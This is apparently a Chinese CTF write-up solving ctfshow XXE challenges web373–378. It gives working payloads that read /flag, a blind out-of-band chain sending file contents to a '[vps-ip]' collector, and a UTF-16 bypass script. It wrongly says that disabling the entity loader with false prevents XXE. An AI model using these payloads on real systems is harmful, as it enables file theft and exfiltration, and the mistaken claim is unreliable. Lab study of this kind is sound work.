web373
libxml_disable_entity_loader #禁用/启用加载外部实体的功能 参数为true时为禁用,参数为false为启用
file_get_contents('php://input') #简单理解就是接受POST请求方式传的数据
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档
simplexml_import_dom #把 DOM 节点转换为 SimpleXMLElement 对象
$creds->ctfshow 获取页面中的ctfhsow元素
源码如下:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
主要实现功能是读取从客户端通过 POST 请求发送过来的 XML 文件,并提取文件中 ctfshow 标签内的值进行输出。第二行语句 libxml_disable_entity_loader(false); 用于开启 XML 实体加载器,防止 XXE ( XML External Entity)攻击;接下来的代码块则判断请求是否包含 XML 文件,如果存在则解析该文件并将 ctfshow 标签内的值输出到客户端。loadXML() 函数是 DOMDocument 类提供的加载 XML 内容的方法$creds = simplexml_import_dom($dom); 这行代码的作用是将 DOMDocument 对象转化为SimpleXMLElement 类型的对象,方便对 XML 数据进行操作。在 PHP 中, DOMDocument 是一个类,提供了一种在脚本中创建和修改 XML 文档结构的方法。而 SimpleXMLElement 是另一个类,可以让我们更方便地读取和修改 XML 数据。$dom 是一个由 file_get_contents 函数返回的字符串内容, 表示一个 XML 文件。simplexml_import_dom 函数则将该字符串转换成了 DOMDocument 对象,并将其转化为SimpleXMLElement 对象 $creds 。这样做的好处在于, SimpleXMLElement 对象使得 XML 数据操作更加简单,我们可以通过对象的属性或方法来提取 XML 标签内的数据,而不需要写繁琐的 DOM 操作代码。
这道题没有任何的过滤,直接构造payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<aaa>
<ctfshow>
&xee;
</ctfshow>
</aaa>
之后用bp上传
web374
源码如下:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
相比于上一题,发现无回显
没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据
在公网上上创建1.php,内容:
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
创建xxe.dtd文件:(这边也可以使用xxe.xml文件)
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://[vps-ip]/1.php?file=%file;'> ">
%dtd;
%xxe;
payload:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>
将两个外部实体 (%file 和 %aaa) 引入 XML 文档中%file 定义了一个实体,用于读取位于 /flag 路径下的文件并对其进行 base64 编码,则该文件的内容将以 base64编码的形式显示在 XML 响应中。%aaa 定义了一个实体,指向远程 XML 文档。如果能够成功地利用此漏洞执行 XXE 攻击,则远程 XML 文档的内容将被解析并包含在XML 响应中。
首先用bp抓包,并将payload写入
之后返回到服务器
可以看到多出一个test.txt文件
将里面的内容进行base-64解码即可得到flag
web375
源代码:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
在上一题的基础上过滤了xml和version=1或0
依然使用的是上一题的payload,步骤与上一题类似,不再赘述。
web376
源码如下:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
/i,
过滤大小写,payload同上
web377
源码如下:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
过滤了http
使用utf-16编码进行绕过
用Python(要安装requests库)
import requests
url = 'http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
web378
可以看到这个题是一个登录页面
抓包看一下
发现是回显xml 形式,而且是回显 username的值
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>
将payload写入bp中就可以获取flag了